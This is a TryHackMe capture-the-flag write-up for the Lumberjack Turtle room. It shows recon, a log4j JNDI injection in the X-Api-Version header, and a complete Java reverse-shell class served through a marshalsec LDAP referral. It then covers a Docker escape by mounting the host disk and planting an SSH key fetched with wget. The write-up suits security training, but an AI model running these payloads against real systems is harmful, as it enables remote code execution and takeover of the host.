This is my writeup for the Lumberjack Turtle room/machine of TryHackMe.com platform. Remember this is just how I solved/owned the machine, maybe there are different and fast paths but…
Machine
No logs, no crime… so says the lumberjack.
The machine is rated as a medium machine and it’s one of the best way to understand how the famous log4j vulnerability works. If it’s your first time with the log4j vuln I suggest, before starting this machine, to complete the walkthrough room created by John Hammond for TryHackme: Solar, exploiting log4j - Explore CVE-2021-44228, a vulnerability in log4j affecting almost all software under the sun.
John Hammond explained how the vulnerability works in a really good way (as usual for him), how to check/exploit and so on, take a look before starting! Part of the attack used in this writeup is the same used in the Solar room instead of using the famous JNDI Exploit Kit
Some useful resources are the following
The techiques used in this machine:
Recon
First of all I run a classic nmap scan:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
nmap -sC -sV -p- 10.10.100.229
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-07 19:54 GMT
Nmap scan report for 10.10.100.229
Host is up (0.042s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 6a:a1:2d:13:6c:8f:3a:2d:e3:ed:84:f4:c7:bf:20:32 (RSA)
| 256 1d:ac:5b:d6:7c:0c:7b:5b:d4:fe:e8:fc:a1:6a:df:7a (ECDSA)
|_ 256 13:ee:51:78:41:7e:3f:54:3b:9a:24:9b:06:e2:d5:14 (ED25519)
80/tcp open nagios-nsca Nagios NSCA
|_http-title: Site doesn't have a title (text/plain;charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
I’m looking at a Linux machine with the two ports open: 22,80.
Let’s check the port 80:
1
2
3
4
5
6
7
|
curl -L -i http://10.10.100.229
HTTP/1.1 200
Content-Type: text/plain;charset=UTF-8
Content-Length: 87
Date: Mon, 07 Feb 2022 19:56:32 GMT
What you doing here? There is nothing for you to C. Grab a cup of java and look deeper.
|
it’s a simple txt page. Go deeper, let’s run a scan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
gobuster dir -u http://10.10.100.229 -w /usr/share/seclists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.100.229
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
/error (Status: 500) [Size: 73]
/~logs (Status: 200) [Size: 29]
|
There are 2 directories, the error and the ~logs one.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
curl -L -i http://10.10.100.229/error
HTTP/1.1 500
Content-Type: application/json
Transfer-Encoding: chunked
Date: Mon, 07 Feb 2022 19:59:55 GMT
Connection: close
{"timestamp":"2022-02-07T19:59:56.635+00:00","status":999,"error":"None"}
curl -L -i http://10.10.100.229/~logs
HTTP/1.1 200
Content-Type: text/plain;charset=UTF-8
Content-Length: 29
Date: Mon, 07 Feb 2022 20:11:29 GMT
No logs, no crime. Go deeper.
|
Ok. Deeper
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
gobuster dir -u http://10.10.100.229/~logs -w /usr/share/seclists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.100.229/~logs
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/02/07 20:36:28 Starting gobuster in directory enumeration mode
===============================================================
/log4j (Status: 200) [Size: 47]
|
Oh finally the log4j directory!
1
2
3
4
5
6
7
8
|
curl -L -i http://10.10.100.229/~logs/log4j
HTTP/1.1 200
X-THM-HINT: CVE-2021-44228 against X-Api-Version
Content-Type: text/plain;charset=UTF-8
Content-Length: 47
Date: Mon, 07 Feb 2022 20:39:20 GMT
Hello, vulnerable world! What could we do HERE?
|
Good, the hint is pretty straight forward: use the X-Api attack of log4j.
Before moving on I try it, I open a netcat listener on port 9999 and I run a cURL
1
2
3
4
5
6
7
8
9
10
|
curl -L -i 'http://10.10.100.229/~logs/log4j' -H 'X-Api-Version: ${jndi:ldap://10.11.55.171:9999/aaa}'
nc -lnvp 9999
listening on [any] 9999 ...
^[[A^[[Aconnect to [10.11.55.171] from (UNKNOWN) [10.10.100.229] 53212
0
`�
|
Yes, it’s the proper vector for an attack.
Using as example the Solar room, the setup of the attack is the following.
As root I change the Java version and set the version as Java 8:
1
2
3
4
5
6
7
8
9
10
11
12
|
update-alternatives --install "/usr/bin/java" "java" "/usr/lib/jvm/jdk1.8.0_181/bin/java" 1
update-alternatives --install "/usr/bin/javac" "javac" "/usr/lib/jvm/jdk1.8.0_181/bin/javac" 1
update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/lib/jvm/jdk1.8.0_181/bin/javaws" 1
update-alternatives --set java /usr/lib/jvm/jdk1.8.0_181/bin/java
update-alternatives: using /usr/lib/jvm/jdk1.8.0_181/bin/java to provide /usr/bin/java (java) in manual mode
update-alternatives --set javac /usr/lib/jvm/jdk1.8.0_181/bin/javac
update-alternatives --set javaws /usr/lib/jvm/jdk1.8.0_181/bin/javaws
java -version
java version "1.8.0_181"
Java(TM) SE Runtime Environment (build 1.8.0_181-b13)
Java HotSpot(TM) 64-Bit Server VM (build 25.181-b13, mixed mode)
|
As kali/normal user I clone the marshalsec utility and I build it
1
2
3
|
git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package -DskipTests
|
From the same directory I start the LDAP referral server, leaving it open and waiting for a connection to forward to the HTTP server:
1
2
3
|
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://10.11.55.171:8000/#Exploit"
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Listening on 0.0.0.0:1389
|
From another terminal I copy a Java reverse shell into a file called Exploit.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {
public Exploit() throws Exception {
String host="10.11.55.171";
int port=4444;
String cmd="/bin/sh";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()) {
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){
}
};
p.destroy();
s.close();
}
}
|
and I compile it
1
2
|
javac Exploit.java -source 8 -target 8
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
|
Now, into this folder I’ve the .java and the .class file and I start the HTTP server (called by the LDAP referral server) which serve the class file:
1
2
3
4
5
6
7
|
ls -ltr
-rwxr-xr-x 1 kali kali 906 Feb 8 10:00 Exploit.java
-rwxr-xr-x 1 kali kali 1353 Feb 8 10:00 Exploit.class
python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
|
Last but not least I open a netcat listener for the reverse shell on port 4444.
From the last terminal open I run the cURL request to the HTTP server with the log4j vuln:
1
|
curl -L -i 'http://10.10.100.229/~logs/log4j' -H 'X-Api-Version: ${jndi:ldap://10.11.55.171:1389/Exploit}'
|
And magically on the marshalsec utility terminal it appears:
1
|
maven Send LDAP reference result for Exploit redirecting to http://10.11.55.171:8000/Exploit.class
|
and the request to the HTTP server too:
1
|
http: 10.10.100.229 - - [08/Feb/2022 10:08:00] "GET /Exploit.class HTTP/1.1" 200 -
|
and my netcat listener is having a connection:
1
2
3
|
connect to [10.11.55.171] from (UNKNOWN) [10.10.100.229] 47162
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
|
Perfect! I used the PoC for obtaining a reverse shell.
After a further investigation of 10 seconds…I’m into a docker image!
1
2
3
4
5
6
7
8
9
10
11
|
df -h
Filesystem Size Used Available Use% Mounted on
overlay 38.7G 1.3G 37.4G 3% /
tmpfs 64.0M 0 64.0M 0% /dev
tmpfs 489.6M 0 489.6M 0% /sys/fs/cgroup
shm 64.0M 0 64.0M 0% /dev/shm
/dev/xvda1 38.7G 1.3G 37.4G 3% /etc/resolv.conf
/dev/xvda1 38.7G 1.3G 37.4G 3% /etc/hostname
/dev/xvda1 38.7G 1.3G 37.4G 3% /etc/hosts
uname -a
Linux 81fbbf1def70 4.15.0-163-generic #171-Ubuntu SMP Fri Nov 5 11:55:11 UTC 2021 x86_64 Linux
|
Let’s check/search the first flag:
1
2
3
4
5
6
|
cd /opt
ls -ltra
total 12
-rw-r--r-- 1 root root 19 Dec 11 21:04 .flag1
drwxr-xr-x 1 root root 4096 Dec 11 21:04 .
drwxr-xr-x 1 root root 4096 Dec 13 01:26 ..
|
Docker Breakout
As linked at the beginning, I try to escape the docker image accessing the host’s disk
1
2
3
4
5
6
7
8
9
10
|
fdisk -l
Disk /dev/xvda: 40 GiB, 42949672960 bytes, 83886080 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x3650a2cc
Device Boot Start End Sectors Size Id Type
/dev/xvda1 * 2048 83886046 83883999 40G 83 Linu
|
I can access the whole disk, let’s create a temp directory and mount it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
|
mkdir -p /mnt/boom
mount /dev/xvda1 /mnt/boom
df -h
Filesystem Size Used Available Use% Mounted on
overlay 38.7G 1.3G 37.4G 3% /
tmpfs 64.0M 0 64.0M 0% /dev
tmpfs 489.6M 0 489.6M 0% /sys/fs/cgroup
shm 64.0M 0 64.0M 0% /dev/shm
/dev/xvda1 38.7G 1.3G 37.4G 3% /etc/resolv.conf
/dev/xvda1 38.7G 1.3G 37.4G 3% /etc/hostname
/dev/xvda1 38.7G 1.3G 37.4G 3% /etc/hosts
/dev/xvda1 38.7G 1.3G 37.4G 3% /mnt/boom
cd /mnt/boom
ls -ltra
total 100
drwxr-xr-x 2 root root 4096 Apr 24 2018 sys
drwxr-xr-x 2 root root 4096 Apr 24 2018 proc
drwxr-xr-x 2 root root 4096 Dec 8 15:53 srv
drwxr-xr-x 2 root root 4096 Dec 8 15:53 mnt
drwxr-xr-x 2 root root 4096 Dec 8 15:53 media
drwxr-xr-x 2 root root 4096 Dec 8 15:56 lib64
lrwxrwxrwx 1 root root 31 Dec 8 16:02 vmlinuz.old -> boot/vmlinuz-4.15.0-163-generic
lrwxrwxrwx 1 root root 31 Dec 8 16:02 vmlinuz -> boot/vmlinuz-4.15.0-163-generic
lrwxrwxrwx 1 root root 34 Dec 8 16:02 initrd.img.old -> boot/initrd.img-4.15.0-163-generic
lrwxrwxrwx 1 root root 34 Dec 8 16:02 initrd.img -> boot/initrd.img-4.15.0-163-generic
drwxr-xr-x 4 root root 4096 Dec 8 16:03 dev
drwxr-xr-x 3 root root 4096 Dec 8 16:03 boot
drwxr-xr-x 3 root root 4096 Dec 8 16:04 run
drwxr-xr-x 2 root root 4096 Dec 8 16:04 bin
drwx------ 2 root root 16384 Dec 8 16:05 lost+found
drwxr-xr-x 2 root root 4096 Dec 13 01:24 sbin
drwxr-xr-x 20 root root 4096 Dec 13 01:24 lib
drwxr-xr-x 12 root root 4096 Dec 13 01:24 var
drwxr-xr-x 12 root root 4096 Dec 13 01:25 usr
drwxr-xr-x 3 root root 4096 Dec 13 01:25 opt
drwx------ 4 root root 4096 Dec 13 01:25 root
drwxr-xr-x 3 root root 4096 Dec 13 01:25 home
drwxr-xr-x 94 root root 4096 Dec 13 02:21 etc
drwxr-xr-x 22 root root 4096 Feb 8 09:10 .
drwxrwxrwt 8 root root 4096 Feb 8 09:12 tmp
drwxr-xr-x 1 root root 4096 Feb 8 10:15 ..
cd root
ls -ltra
total 28
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc
drwx------ 2 root root 4096 Dec 13 01:23 .ssh
-r-------- 1 root root 29 Dec 13 01:25 root.txt
drwxr-xr-x 2 root root 4096 Dec 13 01:25 ...
drwx------ 4 root root 4096 Dec 13 01:25 .
drwxr-xr-x 22 root root 4096 Feb 8 09:10 ..
cat root.txt
Pffft. Come on. Look harder.
|
Mounted. And it works! Great flag :)
If I read the output of ls -ltra well I notice there is a directory called “…”. Into this directory is present the flag but…why? Let’s try to have the full access to the root user.
On my local machine I create a new SSH key and I upload it to the mounted root directory, add it to the authorized_keys and login via SSH:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
#locally
ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa): /home/kali/lumberjackturtle/id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kali/lumberjackturtle/id_rsa
Your public key has been saved in /home/kali/lumberjackturtle/id_rsa.pub
The key fingerprint is:
SHA256:9eCjrCWoXbpHSiJkTpOJWL+/dVici/Rtv4alRmEPWOk kali@kali
The key's randomart image is:
+---[RSA 3072]----+
| . |
| . o |
|o.o. o+ |
|oB . +.+E |
|= . . S *..+ |
|... o..o * +. o |
| . o.+o B +.o+ |
| o.oo= . .+.. |
| . +oo. . .o. |
+----[SHA256]-----+
python3 -m http.server 80
|
from the docker image reverse shell:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
cd /mnt/boom/root/.ssh
wget 10.11.55.171/id_rsa
wget 10.11.55.171/id_rsa.pub
cat id_rsa.pub >> authorized_keys
ls -ltra
total 20
drwx------ 4 root root 4096 Dec 13 01:25 ..
-rw-r--r-- 1 root root 2590 Feb 8 10:27 id_rsa
-rw-r--r-- 1 root root 563 Feb 8 10:27 id_rsa.pub
drwx------ 2 root root 4096 Feb 8 10:27 .
-rw------- 1 root root 563 Feb 8 10:27 authorized_keys
chmod 500 *
ls -ltra
total 20
drwx------ 4 root root 4096 Dec 13 01:25 ..
-r-x------ 1 root root 2590 Feb 8 10:27 id_rsa
-r-x------ 1 root root 563 Feb 8 10:27 id_rsa.pub
drwx------ 2 root root 4096 Feb 8 10:27 .
-r-x------ 1 root root 563 Feb 8 10:27 authorized_keys
|
and from my local machine:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
ssh -i /home/kali/lumberjackturtle/id_rsa root2@10.10.100.229
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-163-generic x86_64)
...
root@lumberjackturtle:~#
root@lumberjackturtle:~#
root@lumberjackturtle:~#
root@lumberjackturtle:/etc# netstat -tulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 1126/docker-proxy
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN 597/systemd-resolve
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 811/sshd
tcp6 0 0 :::80 :::* LISTEN 1131/docker-proxy
tcp6 0 0 :::22 :::* LISTEN 811/sshd
udp 0 0 127.0.0.53:53 0.0.0.0:* 597/systemd-resolve
udp 0 0 10.10.100.229:68 0.0.0.0:* 591/systemd-network
root@lumberjackturtle:~# cd ...
root@lumberjackturtle:~/...# ls -ltra
total 12
drwxr-xr-x 2 root root 4096 Dec 13 01:25 .
-r-------- 1 root root 26 Dec 13 01:25 ._fLaG2
drwx------ 6 root root 4096 Feb 8 10:28 ..
|
Before leaving
The other user present is vagrant, if you try to crack the password…is vagrant. Unfortunately the SSH server accept only connections with keys.
Before doing something else, rollback the java version to the latest one:
1
2
3
4
5
6
7
|
update-alternatives --install "/usr/bin/java" "java" "/usr/lib/jvm/java-11-openjdk-amd64/bin/java" 1
update-alternatives --set java /usr/lib/jvm/java-11-openjdk-amd64/bin/java
java -version
openjdk version "11.0.14" 2022-01-18
OpenJDK Runtime Environment (build 11.0.14+9-post-Debian-1)
OpenJDK 64-Bit Server VM (build 11.0.14+9-post-Debian-1, mixed mode, sharing)
|